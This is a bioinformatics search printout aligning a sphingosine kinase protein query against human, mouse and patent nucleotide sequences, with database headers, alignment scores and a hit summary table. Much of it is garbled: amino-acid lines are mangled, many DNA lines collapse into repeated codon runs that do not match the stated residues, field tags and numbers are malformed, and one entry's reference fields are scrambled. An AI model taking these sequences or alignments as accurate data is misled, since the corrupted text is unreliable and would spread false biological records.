 PI Florence C, Hu J, Li Y, Kyaw H, Fischer CL, Ferris AM, Fan P;
 PI Feng P, Endress GA, Dillon PJ, Carter KC, Brewer LA, Yu G;
 PI Zeng Z, Greene JM;
 DR WPI: 2001-625724/72.
 DR P-PSDB: ABB50380.
 XX
 XX Nucleic acids encoding 207 human secreted polypeptides, useful for
 PT preventing, diagnosing and/or treating, e.g. cancers, Parkinson's
 PT disease and diabetic retinopathy -
 PT
 XX
 PS Claim 1; Page 965; 1533pp: English.
 PS
 XX ABB50301 to ABB51287 and ABA83194 to ABA83441 represent human secreted
 CC proteins (I) and polynucleotide (II) sequences. (I) and (II) have various
 CC activities based on the tissues and cells the genes are expressed in.
 CC Example of these activities include: immunomodulatory; antisclerotic;
 CC dermatological; immunosuppressive; antiinflammatory; immunostimulant;
 CC anti-HIV; cytostatic; cardiant; anti-angiogenic; ophthalmological;
 CC neuroprotective; neurotropic; anticonvulsant; antialzheimer's; vascular;
 CC antiparkinsonian; antimicrobial; and vulnary. (I) and (II) can be used
 CC in gene therapy and vaccine production. (I) and (II) can be used in the
 CC prevention, diagnosis and treatment of immune disorders (e.g. multiple
 CC sclerosis, systemic lupus erythematosus and human immunodeficiency virus
 CC (HIV) infections), hyperproliferative disorders (e.g. cancers and
 CC Gaucher's disease), cardiovascular diseases (e.g. Sclimlar syndrome,
 CC Chaga's cardiomyopathy and coronary arteriosclerosis), angiotensin
 CC disorders (e.g. corneal graft neovascularisation and diabetic
 CC retinopathy), neurological disorders (e.g. Huntington's chorea,
 CC Alzheimer's disease and Parkinson's disease), infectious diseases and/or
 CC for promoting wound healing, regeneration and/or chemotaxis. ABA83185 to
 CC ABA83193 and ABB50300 represent sequences used in the exemplification of
 CC the present invention.

XX
 SQ Sequence 1533 BP; 272 A; 454 C; 495 G; 302 T; 10 other;
 Alignment Scores:
 Pred. No.: 4,72e-185 Length: 1533
 Score: 1927.00 Matches: 371
 Percent Similarity: 96.88% Conservative: 2
 Best Local Similarity: 96.36% Mismatches: 11
 Query Match: 95.63% Indels: 1
 DB: 22 Gaps: 0
 US-09-784-810A-2 (1-384) x ABA83273 (1-1533)
 QY 1 Metaspproalaglyglyproarglyvalleuproargprocsaryvalleu 20
 Db 73 ATGATTCACGAGGGGCGGCCCGGGGGCTCCCGGGCGCCCTGCTGCTGCTG 132
 QY 21 Leuasnproarglyglylysglylyalaaleuclneupheargserhisvalgipro 40
 Db 133 CTGAACCCCGCGCGCGGCAAGGCGCTTGCGAGCTCTTCCGAGTACGTGACGCC 192
 QY 41 Leuenuagluaglualeuileserphetrleuethrleuargarganshisala 60
 Db 193 CTTTGCTGAGCTGGAATCTCTTACGCTGATGCTCACTGACGCGGCAACCGCG 252
 QY 61 Arggluleuvalargsergluleuglylarrgtrppspalaleuvalaleu 80
 Db 253 CCGGARGCTGTCGCTCGGAGAGCTGGCGCTGRRAGCTCTGTGTCATGCTTGGGA 312
 QY 81 Aspglyleuethisgluvalaleuasnlyleu-Metgluargproaspttrp 100
 Db 313 GAGGGCTGATACAGAGGTGTGTAGAGGGCTTATGAGAGCGGCTGAGAGCGCG 372
 QY 100 allegluysproleucysserleuoproalaglysercylsnnalaleu 120
 Db 373 CATCCAGAGCCCGCTGTAGCTCCAGAGCGCTGCAAGCGSCTGGAGCTTCTT 432
 QY 120 uasnhistyralaglytyrgluvalthrasnsluaspuleuthrasnys 140
 Db 433 RAACCAATATAGCTGCTATRACAGGTACCAATAGACCTCTGACCACTGACGCT 492
 QY 140 uleuauaryargprovalleuaserprometasnleuaserleuhsistralaser 160
 Db 493 ATTGCTGTGCGCGGCTGCTGACCACTGACCTGCTGCTGCTGCTGCTGCTG 552
 QY 160 yleuargserphaservalleuaserleuallatrpiglyphelealeaspval 180
 Db 553 GCTGCGCTCTCTCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 612
 QY 180 userasplystyargtrgluaglmetargphetrleuaglythrphleuarg 200
 Db 613 GAGTGAAGATATCGGGGTGCGGAGATGCGCTTCACTGCGACCTTCTGCTGCT 672
 QY 200 ualaaleuargthrtlyrarglylarrgluallatrpiglyphelealeaspval 220
 Db 673 GCGCGCCCTGCGACCTACCGCGCGGCGACCTGCTGCTGCTGCTGCTGCTGCT 732
 QY 220 elysthrproalaserprovalaleuaglinginglyprovalasphahisaleu 240
 Db 733 CAAGACACCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 792
 QY 240 olengluagluvalproserhistrpignalvalproasgluasphevalleu 260
 Db 793 ACTGAGAGAGCGACCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 852
 QY 260 lleuallaleuethisserhisaleuaseglumetphealalaleurometgl 280
 Db 853 CTTGACATGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 912
 QY 280 salalaglyvalmethisaleuethrlyrvalargalaglyvalserarglaleu 300
 Db 913 TCCAGCTGCGCTGATGATGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 972

OY 300 uArgLeuPheLeuAlaMetGluLysGlyArgHisMetGluTyrGluCysProTyrLeuVa 320
|||||
Db 973 GGGCTCTTCCCTGGCCATGAGAGAGGCGCATGTGAGTGTGATGCTTACTTGGT 1032
OY 320 lIyValProValValAlaPheArgLeuGluProLysAspGlyLysGlyValPheAlaVa 340
|||||
Db 1033 ATATGTGCCCGGTGTCGCTTCCGCTTGAGAGCCCAAGGATGGAAAGGTGTGTGCACT 1092
OY 340 lAspGlyLeuLeuMetValSerGluAlaValGlnGlyValHisProAspTyrPheTr 360
|||||
Db 1093 GGATGGGGAATGATGATGATGAGAGCGCGTCAGGGCCAGGTGCACCCAACTACTCTCG 1152
OY 360 pMetValSerGlyCysValGluProProProSerTrpLysProGlnGluMetProPro 380
|||||
Db 1153 GATGGTCAGCGGTTGCGTGGAGCCCCCGCCAGCTGGAAGCCCGAGATGCCACGCC 1212
OY 380 oGluGluProLeu 384
|||||
Db 1213 AGAAGAGCCCTTA 1225
RESULT 13
AAD14425
ID AAD14425 standard; cDNA; 1759 BP.
AC AAD14425;
XX 01-NOV-2001 (first entry)
XX Mouse consensus sphingosine kinase (Sphk) cDNA.
DE Mouse sphingosine kinase; Sphk; restenosis; Ischaemia; gene therapy;
KW antiSense therapy; cancer; sphingolipid; signalling molecule; apoptosis;
KW cytosolic; tumour necrosis factor-alpha; TNF; atherosclerosis; lymphoma;
KW leukaemia; vasotropic; cell proliferative disorder; vascular disease; ss.
XX Mus musculus.
OS
XX
XX
FH Key Location/Qualifiers
FT CDS 327..1475
FT /tag= a
FT /product= "Mouse sphingosine kinase (Sphk) protein"
XX
XX
XX WO200160990-A2.
XX
XX 23-AUG-2001.
XX
XX 14-FEB-2001; 2001WO-US04789.
XX
XX 14-FEB-2000; 2000US-0182360.
XX
XX 22-MAR-2000; 2000US-0191261.
XX
XX (CURA-) CURAGEN CORP.
XX (GETH) GENENTECH INC.
XX
XX Rastelli L;
XX
XX MPI: 2001-514770/56.
XX P-PSDB: AAE07883.
XX
XX An isolated Sphingosine kinase polypeptide useful for treating a
XX Sphk-associated disorder especially cancer, restenosis or Ischemia in a
XX human -
XX
XX Example 1; Page 92; 107pp; English.

CC differentiation, diverse cell phenotypes and cell death. Activation of
CC Sphk by tumour necrosis factor (TNF)-alpha inhibits apoptosis in human
CC endothelial cells. The present sequence is consensus mouse sphingosine
CC kinase (Sphk) cDNA.
XX
XX Sequence 1759 BP; 357 A; 495 C; 523 G; 384 T; 0 other;
Alignment Scores:
Pred. No.: 2,566-151 Length: 1759
Score: 1594.50 Matches: 303
Percent Similarity: 88.25% Conservative: 35
Best Local Similarity: 79.11% Mismatches: 44
Query Match: 79.13% Indels: 1
DB: 22 Gaps: 1
US-09-784-810A-2 (1-384) x AAD14425 (1-1759)
OY 1 MetAspProAlaGlyGlyProArgGlyValLeuProArgProCysArgValLeuValLeu 20
|||||
Db 327 ATGGAACCAAGTAGAATGCCCTGAGAGACTGCTCCACGGCCATGCAAGTGTGCTG 386
OY 21 LeuAsnProArgGlyGlyLysGlyLysAlaLeuGlnLeuPheArgSerHisValGlnPro 40
|||||
Db 387 CTGAACCCCAAGGAGGTGGCAAGGCAAGGCTGCAAGCTTCCAGAGCCGTGTGACGCC 446
OY 41 LeuLeuAlaGluAlaGluLeuSerPheTrpLeuMetLeuThrGluArgAsnHisAla 60
|||||
Db 447 TTCCTGGAGAGGAGCAATACCTTTAACTGATCTACCGAAGGAGAAACCATGCG 506
OY 61 ArgGluLeuValArgSerGluLeuGluArgGlyArgTrpAspAlaLeuValMetSerGly 80
|||||
Db 507 AGGAGCTGTGTGTGAGAGAGAGATGGGTCACTGGAGCGCCCTGCACTATGTCCGGT 566
OY 81 AspGlyLeuMetHisGluValValAsnGlyLeuMetGluArgProAspTrpGluThrAla 100
|||||
Db 567 GATGCTCATCATGATGATGATGATGATGATGATGATGATGATGATGATGATGATG 626
OY 101 lIeGlnLysProLeuCysSerLeuProAlaGlySerGlyAsnAlaLeuAlaLeuSerLeu 120
|||||
Db 627 ATCCAGAAACCCCTGTGTGAGCTCCCTGAGAGCTCCGCAATGCCCTGACCTTCTGTG 686
OY 121 AsnHisTyrAlaGlyTyrGluGlnValThrAsnGluAspLeuLeuThrAsnGlyThrLeu 140
|||||
Db 687 AACCACTATGCTGGGTAGCAGCAGCAGCAGCAGCAGCAGCAGCAGCAGCAGCAGCAG 746
OY 141 LeuLeuCysArgProValLeuSerProMetAsnLeuLeuSerLeuHisThrAlaSerGly 160
|||||
Db 747 CTGTTGTCGCCGCCGCCCTGTACACCATGACCTGCTCCCTGACACTGCTCTGGG 806
OY 161 LeuArgSerPheSerValLeuSerLeuAlaTrpGlyPheAlaAspValAlaLeuGlu 180
|||||
Db 807 CTGCGGCTCTATCTGTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 866
OY 181 SerAspLysTyrArgArgLeuGlyGluMetArgPheThrLeuGlyTyrPheLeuArgLeu 200
|||||
Db 867 AGTGAAGATACAGCGCTTGGGGAGATGCTTTCACAGTGCGGACCTCTTGGCCGA 926
OY 201 AlaAlaLeuArgThrTyrArgGlyArgLeuAlaTrpLeuProValGlyArgValGlyPhe 220
|||||
Db 927 GCAAGCTCTGCAATACCAAGCCCAACCTGCTCTCTCTGAGGAAGTCTGGCTCT 986
OY 221 LysThrProAlaSerProValValAlaGlnGlnGlyProValAlaAspAlaHisLeuValPro 240
|||||
Db 987 AAGAGACCCGCTCT---ACACTGGGCGAAGGGCCCGGTGACACACACTTGTCTCT 1043
OY 241 LeuGluGluGlnValProSerHisTrpGlnValValProAspGluAspPheValLeuVal 260
|||||
Db 1044 CTGGAGGAGCAGAGTGTCTTCTGATGGATGTGTGATGATGATGATGATGATGATGATG 1103
OY 261 LeuAlaLeuLeuHisSerHisLeuAlaSerGluMetPheAlaAlaPrometGlyArgCys 280
|||||
Db 1104 CTGGCTGTCTACACACACCACTGAGCTCGAGCTGTTCAGACACCACTGAGCGCTGT 1163


```

Db      1163 CACCTGAGCTCCGAGCTGTTTCAGACACCATGGGCCCTGTGAAGCTGTATGTCAT 1222
QY      287 LeuPheTyrValArgAlaGlyValSerArgAlaMetLeuLeuArgLeuPheLeuAlaMet 306
        |||||
Db      1223 CTGTCTACGTACGTGCGGGGGGTGCAGAGGCTGCGCTGCTGCGCTCTCTCTGCGCATG 1282
QY      307 GluLysGlyArgHisMetGluTyrGluCysProTyrLeuValTyrValProValValAla 326
        :|||
Db      1283 CAGAGGGCCAGCATATGAGACTTGACTGCTCATCTGCTCATGTGATGCGCGTGTGCT 1342
QY      327 PheArgLeuGluProLysAspGlyLysGlyValPheAlaValAspGlyGluLeuMetVal 346
        |||||
Db      1343 TTCGCTGTGAGGCCAGAGGCCAGAGGGCGCTGTTTCTGTGATGAGAGCTGATGTA 1402
QY      347 SerGluAlaValGlnGlnValHisProAsnTyrPheTrpMetValSerGlyCysVal 366
        |||||
Db      1403 TGTGAGCTGTGAGGCCAGAGGCCAGAGGCCAGAGGCCAGAGGCCAGAGGCCAG 1462
QY      367 GluProProProSerTrpLysProGlnGlnMetProProProGlnGluPro 383
        :|||
Db      1463 GATGCCCATCCGGCGGAGCTCCCGGGGGGCCACCTCCAGAGAACCA 1513

```

Search completed: July 12, 2003, 18:17:50
 Job time : 309 secs

GenCore version 5.1.6
Copyright (c) 1993 - 2003 CompuGen Ltd.

OM protein - nucleic search, using frame_plus_p2n model

Run on: July 12, 2003, 18:09:03 ; Search time 3410 Seconds

(without alignments)
3277.266 Million cell updates/sec

Title: US-09-784-810A-2

Perfect score: 2015

Sequence: 1 MDPAGRGVLPKRCRVLYL.....CVEPPPSKPKQMPPEEPL 384

Scoring table:

BLOSUM62
Xgapop 10.0 , Xgapext 0.5
Ygapop 10.0 , Ygapext 0.5
Fgapop 6.0 , Fgapext 7.0
Delop 6.0 , Delext 7.0

Searched: 2054640 seqs, 14551402878 residues

Total number of hits satisfying chosen parameters: 4109280

Minimum DB seq length: 0

Maximum DB seq length: 2000000000

Post-processing: Minimum Match 0%

Maximum Match 100%

Listing first 45 summaries

Command line parameters: -DEV=xlh
-MODEL=frame_plus_p2n.model -DEV=xlh
-O=/cgn2_1/USPTO/US09784810/runat_11072003_103441_26557/app-query.fasta.1.583

-DB=GenEmbl -QFMT=fastap -SUFFIX=rge -MINMATCH=0.1 -LOOPEXT=0
-UNITS=bits -START=1 -END=1 -MATRIX=blomsu62 -TRANS=human40.cdi -LIST=45
-LOCALALIGN=200 -THR.SCORE=PCT -THR.MAX=100 -THR.MIN=0 -ALIGN=15 -MODE=LOCAL
-OUTFMT=eto -NORM=ext -HEADSIZE=500 -MINLEN=0 -MAXLEN=2000000000
-USER=US09784810.ecgn.1.1.2466-etunat.11072003_103441_26557 -NCPU=6 -ICPU=3
-NO_MAP -LARGEQUERY -NEG.SCORES=0 -WAIT -DSPLOCK=100 -LONGLOG
-DEV.TIMEOUT=120 -WARN.TIMEOUT=30 -THREADS=1 -XGAPOP=10 -XGAPEXT=0.5 -FGAPOP=6
-FGAPEXT=7 -YGAPOP=10 -YGAPEXT=0.5 -DELOP=6 -DELEXT=7

Database : GenEmbl.*
1: gb.ba.*
2: gb.htg.*
3: gb.in.*
4: gb.om.*
5: gb.ov.*
6: gb.pat.*
7: gb.ph.*
8: gb.pl.*
9: gb.pr.*
10: gb.ro.*
11: gb.sts.*
12: gb.sy.*
13: gb.un.*
14: gb.vl.*
15: em.ba.*
16: em.fun.*
17: em.hum.*
18: em.in.*
19: em.mu.*
20: em.om.*
21: em.or.*
22: em.ov.*
23: em.pat.*
24: em.ph.*
25: em.pl.*
26: em.ro.*
27: em.sts.*
28: em.un.*

29: em.vl.*
30: em.htg.hum.*
31: em.htg.in.v.*
32: em.htg.other.*
33: em.htg.mus.*
34: em.htg.pln.*
35: em.htg.rod.*
36: em.htg.mam.*
37: em.htg.vrt.*
38: em.sy.*
39: em.htgo.hum.*
40: em.htgo.mus.*
41: em.htgo.other.*

Pred. No. is the number of results predicted by chance to have a
score greater than or equal to the score of the result being printed,
and is derived by analysis of the total score distribution.

SUMMARIES

Result No.	Score	Query Match	Length	DB	ID	Description
1	2015	100.0	1600	6	AX224379	AX224379 Sequence
2	1962	97.4	1155	6	AX127642	AX127642 Sequence
3	1962	97.4	1693	9	AF266756	AF266756 Homo sapi
4	1962	97.4	1719	6	AX127641	AX127641 Sequence
5	1962	97.4	1772	9	AK023393	AK023393 Homo sapi
6	1962	97.4	1821	9	AK022402	AK022402 Homo sapi
7	1959	97.2	1173	9	AF200328	AF200328 Homo sapi
8	1955	97.0	1824	9	BC008040	BC008040 Homo sapi
9	1954	97.0	1783	9	AF238083	AF238083 Homo sapi
10	1945	96.5	1869	9	BC009419	BC009419 Homo sapi
11	1944	96.5	2502	9	AK095578	AK095578 Homo sapi
12	1880.5	93.3	1428	9	HS2445504	AJ245504 Homo sapi
13	1813	90.0	18343	2	AC068145	AC068145 Homo sapi
14	1789.5	88.8	2015	9	AB046025	AB046025 Macaca fa
15	1594.5	79.1	1759	6	AX224381	AX224381 Sequence
16	1587.5	78.8	209861	2	AC021196	AC021196 Homo sapi
17	1585.5	78.7	1146	10	AF415213	AF415213 Mus muscu
18	1585.5	78.7	1559	6	AX287138	AX287138 Sequence
19	1585.5	78.7	1559	6	AF068749	AF068749 Mus muscu
20	1582.5	78.5	1815	6	AX287137	AX287137 Sequence
21	1582.5	78.5	1815	10	AF068748	AF068748 Mus muscu
22	1555.5	77.2	1842	10	AB049573	AB049573 Rattus no
23	1555.5	77.2	1895	10	AB049572	AB049572 Rattus no
24	1555.5	77.2	1943	10	AB049571	AB049571 Rattus no
25	1555.5	77.2	2501	10	AB049574	AB049574 Rattus no
26	1555.5	77.2	2648	10	AB049575	AB049575 Rattus no
27	1454	72.2	1192	9	BC004112	BC004112 Homo sapi
28	1451.5	72.0	110000	2	AL606505	AL606505 Mus muscu
29	1451.5	72.0	112037	10	AL645851	AL645851 Mouse DNA
30	875	43.4	2698	10	AF245448	AF245448 Mus muscu
31	874	43.4	1854	10	AF415214	AF415214 Mus muscu
32	874	43.4	2416	10	BC006941	BC006941 Mus muscu
33	856.5	42.5	2380	9	AF245447	AF245447 Homo sapi
34	856.5	42.5	2731	9	BC010671	BC010671 Homo sapi
35	856.5	42.5	2875	6	AX086301	AX086301 Sequence
36	856.5	42.5	2875	9	HS080169	AL136701 Homo sapi
37	856.5	42.5	3012	9	BC006161	BC006161 Homo sapi
38	731	36.3	200146	2	AC073774	AC073774 Mus muscu
39	685	34.0	119631	9	AC008888	AC008888 Homo sapi
40	685	34.0	179372	2	AC040922	AC040922 Homo sapi
41	673.5	33.4	38149	9	AC022154	AC022154 Homo sapi
42	609.5	30.2	254729	2	AC122611	AC122611 Rattus no
43	550	27.3	2629	3	AY119652	AY119652 Drosophill
44	550	27.3	46594	2	AC013897	AC013897 Drosophill
45	550	27.3	164415	3	AC023718	AC023718 Drosophill

RESULT 1

ALIGNMENTS

AX224379
LOCUS AX224379 1600 bp DNA linear PAT 10-SEP-2001
DEFINITION Sequence 1 from Patent WO0160990.
ACCESSION AX224379
VERSION AX224379.1 GI:15554631
KEYWORDS
SOURCE human
ORGANISM Homo sapiens
REFERENCE Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Homiidae; Homo.
AUTHORS Rastelli, L.
TITLE Novel sphingosine kinases
JOURNAL Patent: WO 0160990-A 1 23-AUG-2001;
Curagen Corporation (US); GENENTECH, INC. (US)
FEATURES
source 1..1600
Location/Qualifiers
BASE COUNT 265 a 492 c 531 g 311 t 1 others
ORIGIN
Alignment Scores:
Pred. No.: 2.37e-168 Length: 1600
Score: 2015.00 Matches: 384
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
Query Match: 100.00% Indels: 0
Gaps: 0
US-09-784-810A-2 (1-384) x AX224379 (1-1600)
QY 1 MetaspProAlaGlyGlyProAlaGlyValLeuProAlaGlyProCysArgValLeuValLeu 20
DB 176 ATGGATCCAGGCGGCG 235
QY 21 LeuAsnProAlaGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGly 40
DB 236 CTGAACCCCG 295
QY 41 LeuLeuAlaGluAlaGluIleSerPheThrLeuMetLeuThrGluArgAsnHisAla 60
DB 236 CTTTGGCTGAGGCTGAATCTCTTCACGCGTGAATGCTCACTGAGCGCGGCAACCCAGCG 355
QY 61 ArgGluLeuValArgSerGluGluLeuGlyArgTrpAspAlaLeuValValMetSerGly 80
DB 356 CGGAGCGTGGCG 415
QY 81 AspGlyLeuMetHisGlyValValAsnGlyLeuMetGluArgProAspTrpGluTrpAla 100
DB 416 GACGGCTGATGACAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 475
QY 101 IleGluIysProLeuGlySerLeuProAlaGlySerGlyAsnAlaLeuAlaSerLeu 120
DB 476 ATCCAGAGAGCCCGCTGCTAGCTCCACAGAGGCTCTGGCAACCGCGCGAGGCTTCCTTG 535
QY 121 AsnHisTrpAlaGlyTrpGluGluValThrAsnGluAspLeuLeuThrAsnGlyTrpLeu 140
DB 536 AACCATATGCTGGCTATGAGCAGGCTGACCAATGAGACGCTCGACCAACCTGACGCTA 595
QY 141 LeuLeuAspArgProValLeuSerProMetAsnLeuLeuSerLeuHisTrpAlaSerGly 160
DB 596 TTGCTGACCG 655
QY 161 LeuArgSerPheSerValLeuSerLeuAlaTrpGlyPheIleAlaAspValAspLeuGlu 180
DB 656 CTGGCTCGCT 715
QY 181 SerAspLysTrpArgArgLeuGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGly 200
DB 716 AGTATAGATGATGCGGCGCTGCGGAGAGATGCGCTTCACTGCGGACACTTCTCGCTCTG 775
QY 201 AlaAlaLeuArgTrpTrpArgGlyArgGluAlaTrpLeuProValGlyArgValGlyPhe 220

DB 776 GCACCCCTGGCGACCTACCG 835
QY 221 LysThrProAlaSerProValValAlaGluGlyGlyProValAlaHisLeuValPro 240
DB 836 AAGACACCTGCTCTCCCG 895
QY 241 LeuGluGluGluValProSerHisTrpGluValValProAspGluAspPheValLeuVal 260
DB 896 CTGAG 955
QY 261 LeuAlaLeuLeuHisSerHisSerHisLeuAlaSerGlyLeuPheAlaAlaPrometGlyArgCys 280
DB 956 CTGGCACTGCTGCACG 1015
QY 281 AlaAlaGlyValMetHisLeuPheTrpValArgAlaGlyValSerArgAlaMetLeuLeu 300
DB 1016 GCACCTGGCTCATGATGCTGTTCAGCTGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCG 1075
QY 301 ArgLeuPheLeuAlaMetGluIysGlyArgHisMetGluTrpGlyGlyProTrpLeuVal 320
DB 1076 CGCCTCTCTGCG 1135
QY 321 TyrValProValValAlaPheArgLeuGluProLysAspGlyGlyValPheAlaVal 340
DB 1136 TATGTGCCCTGGCTGCT 1195
QY 341 AspGlyGluLeuMetValSerGluAlaValGluGlyValValHisProAsnArgTrpPheTrp 360
DB 1196 GATGGAGGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGAT 1255
QY 361 MetValSerGlyCysValGluProProProSerTrpLysProGluGluMetProProPro 380
DB 1256 ATGGTTCAGCGGTGCTGTGAGAGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCA 1315
QY 381 GluGluProLeu 384
DB 1316 GAGAGCGCCCTTA 1327
RESULT 2
AX127642 1155 bp DNA linear PAT 16-MAY-2001
LOCUS AX127642
DEFINITION Sequence 2 from Patent WO0131029.
ACCESSION AX127642
VERSION AX127642.1 GI:14134308
KEYWORDS
SOURCE human.
ORGANISM Homo sapiens
REFERENCE Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Homiidae; Homo.
AUTHORS Allen, J., Gosink, M., Melendez, A.J. and Takacs, L.
TITLE Human sphingosine kinase gene
JOURNAL Patent: WO 0131029-A 2 03-MAY-2001;
WARNER-LAMBERT COMPANY (US)
FEATURES
source 1..1155
Location/Qualifiers
BASE COUNT 185 a 349 c 382 g 239 t
ORIGIN
Alignment Scores:
Pred. No.: 7.44e-164 Length: 1155
Score: 1962.00 Matches: 375
Percent Similarity: 98.18% Conservative: 2
Best Local Similarity: 97.66% Mismatches: 7
Query Match: 97.37% Indels: 0
Gaps: 0
US-09-784-810A-2 (1-384) x AX127642 (1-1155)
QY 1 MetaspProAlaGlyGlyProAlaGlyValLeuProAlaGlyProCysArgValLeuValLeu 20

Db	1	ATGATATCAGAGGGGGCCCGGGGGGGTGTCCCGGGCCCTCCGGCTGTGTCG	60
OY	21	LeuAsnProArgGlyLysGlyLysAlaLeuGlnLeuPheArgSerHisValGlnPro	40
Db	61	CTGAACCCGGCGGGCGGCAAGGCGCAAGGCCCTTCAGACTTCGCGAGTACAGTCCAGGCC	120
OY	41	LeuLeuAlaGluAlaGluIleSerPheThrLeuMetLeuThrGluAlaArgAspHisAla	60
Db	121	CTTTTGGCTGAGGGGTGAATTCCTTTCACGGTGTATGGTCACTGTGACGGCGGAACACGGC	180
OY	61	ArgGluLeuValAlaGSerGlnGlnLeuGlyArgTrpAspAlaLeuValAlaMetSerGly	80
Db	181	CGGAGACTGGTGGCGGTGGAGAGACTGGGCCGCTGGAGACTTGTGGTATGTCTGGGA	240
OY	81	AspGlyLeuMetHisGlnValValAsnGlyLeuMetGluAlaArgProAspTrpGluThrAla	100
Db	241	GACGGGCTGATGACAGAGGTGTGAACGGGCTTATGGAGGGGCGCTGACGTGGAGACCGCC	300
OY	101	IleGlnLysProLeuGlySerLeuProAlaGlySerGlyAsnAlaLeuAlaAlaSerLeu	120
Db	301	ATTCAGAGAAGCCCCGTGTGAAGCTCCAGACAGGCTGTGGCAACGGCGTGGCAGCTTCCTTG	360
OY	121	AsnHisTryAlaGluAlaGlyTrpGlnGlnValThrAsnGlnLysAspLeuLeuThrAsnCysThrLeu	140
Db	361	AACCATATATGTGGCTATGACAGAGTCAACCAATGAAGACCTCTGTACCACTGCACGCTA	420
OY	141	LeuLeuGlyArgProValLeuSerProMetAsnLeuLeuSerLeuHisThrAlaSerGly	160
Db	421	TTTGGTGGGCCCGCGGCTGCTCAACCATGAACTGGTGTCTGGACACAGCGCTTGGGG	480
OY	161	LeuArgSerPheSerValLeuSerLeuAlaTrpGlyPheIleAlaAspValAspLeuGlu	180
Db	481	CTGGCGCCTTCCTTGTGGCTCAGGCTGGCGCGGGGCTTCATTTGCTGATGTGGACCTTGAAG	540
OY	181	SerAspLysTryArgArgLeuGlyGluMetArgPheThrLeuGlyThrPheLeuArgLeu	200
Db	541	AGTAGAAGATATCGGCGCTGTGGGGAGATGGCGCTTCACTCTGGGACACTTCTCGCGTGTG	600
OY	201	AlaAlaLeuArgThrTryArgGlyArgLeuAlaThrLeuProValGlyArgValGlyPhe	220
Db	601	GCACCCCTGGCGACACTACCGCGGCGGACGTGGCTCACTCCCTGTATGAAGAAGTGGGTTCC	660
OY	221	LysThrProAlaSerProValValValGlnGlnGlyProValAspAlaHisLeuValPro	240
Db	661	AAGACACCTGGCTCCCGCTGTGTGGTCCAGACAGGGCCGGTAGATGCACACCTTGTGCCA	720
OY	241	LeuGlnGlnGlnValProSerHisThrGlnValValProAspGluAspPheValLeuVal	260
Db	721	CTGAGAGGAGCCAGTGGCCCTCTCACTGGACAGATGGTGGCCGAGAGAGATTTGTGCTATTC	780
OY	261	LeuAlaLeuLeuHisSerHisLeuAlaSerGluMetPheAlaAlaProMetGlyArgGly	280
Db	781	CTGGCAGCTGGCGACTGCGACCTGGGGCAGTAGATGTTGGCTGCACCATGGCGCGCT	840
OY	281	AlaAlaGluValMetHisLeuPheTrpValAlaArgAlaGluValSerArgAlaMetLeuLeu	300
Db	841	GCACCTGGCGCTCATGACATCTGTTTACGTGGCGGGAGAGTGCTCGTGCATCGCTCGCTG	900
OY	301	ArgLeuPheLeuAlaMetGlnLysGlyArgHisMetGluTrpGlnCysProTyrLeuVal	320
Db	901	CGCCCTTCCTCGGCGCATGGAAGAGGGCGCATATGAGTATGAATGCCCTTACTTGGTA	960
OY	321	TyrValProValAlaAlaPheArgLeuGlnProLysAspGlyLysGlyValPheAlaVal	340
Db	961	TATGTGGCCCGTGGTGGCTTCCGCTTGGAGCCCAAGATGGGAAAGGTGTGTGGCACTG	1020
OY	341	AspGlyGluLeuMetValSerGluAlaValGlnGlyGlnValHisProAsnTyrPheTrp	360
Db	1021	GATGGGGGAATGATGTGTTAGCGAGAGCGGTGCAGGGCCAGTGTCAACCACTACTTCTGG	1080
OY	361	MetValSerGlyCysValGluProProSerTrpLysProGlnGlnMetProProPro	380

Db	1081	ATGTCACAGCGGTTCGCGAGACCCCGCCGCCACGTGGAAAGCCCAAGATGCACCCGCA	1140
Qy	381	GlucInProLeu 384	
Db	1141	GAAGAGCCCTTA 1152	
RESULT 3			
LOCUS	AF266756	1693 bp	linear PRI 01-JUN-2000
DEFINITION	Homo sapiens sphingosine kinase (SPHK1) mRNA, complete cds.		
ACCESSION	AF266756		
VERSION	AF266756.1	GI:8133099	
KEYWORDS			
SOURCE			
ORGANISM	Homo sapiens.		
REFERENCE	Homo sapiens		
AUTHORS	Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi; Mammalia; Eutheria; Primates; Catarrhini; Hominidae; Homo.		
TITLE	1 (bases 1 to 1693)		
JOURNAL	Melendez,A.U., Carlos-Dias,E., Gosink,M., Allen,J.M. and Takacs,L.		
REFERENCE	Human Sphingosine Kinase, Molecular Cloning, Functional Characterisation and Tissue Distribution		
AUTHORS	Gene (2000) In press		
TITLE	2 (bases 1 to 1693)		
JOURNAL	Melendez,A.U., Carlos-Dias,E., Gosink,M., Allen,J.M. and Takacs,L.		
REFERENCE	Direct Submission		
AUTHORS	Submitted (11-MAY-2000) Department of Molecular and Cellular Biology, Jouveinal Parke-Davis, 11-13 rue de la Loge, Fresnes		
TITLE	94265, France		
FEATURES			
SOURCE	Location/Qualifiers		
gene	1..1693		
CDS	/organism="Homo sapiens"		
	/db_xref="taxon:9606"		
	/chromosome="17"		
	/map="17q25.2"		
	1..1693		
	/gene="SPHK1"		
	270..1424		
	/gene="SPHK1"		
	/codon_start=1		
	/product="sphingosine kinase"		
	/protein_id="AAF73470.1"		
	/db_xref="GI:8133100"		
	/translation="MDPAGSGRGVLPKRCRVLYLVLPNGRGKALQLFRSIVQPLAR		
	AEISFTTLTERNNHARELVSEELGRMDALVNSGSLMEVNVGLMERDMEFAIQ		
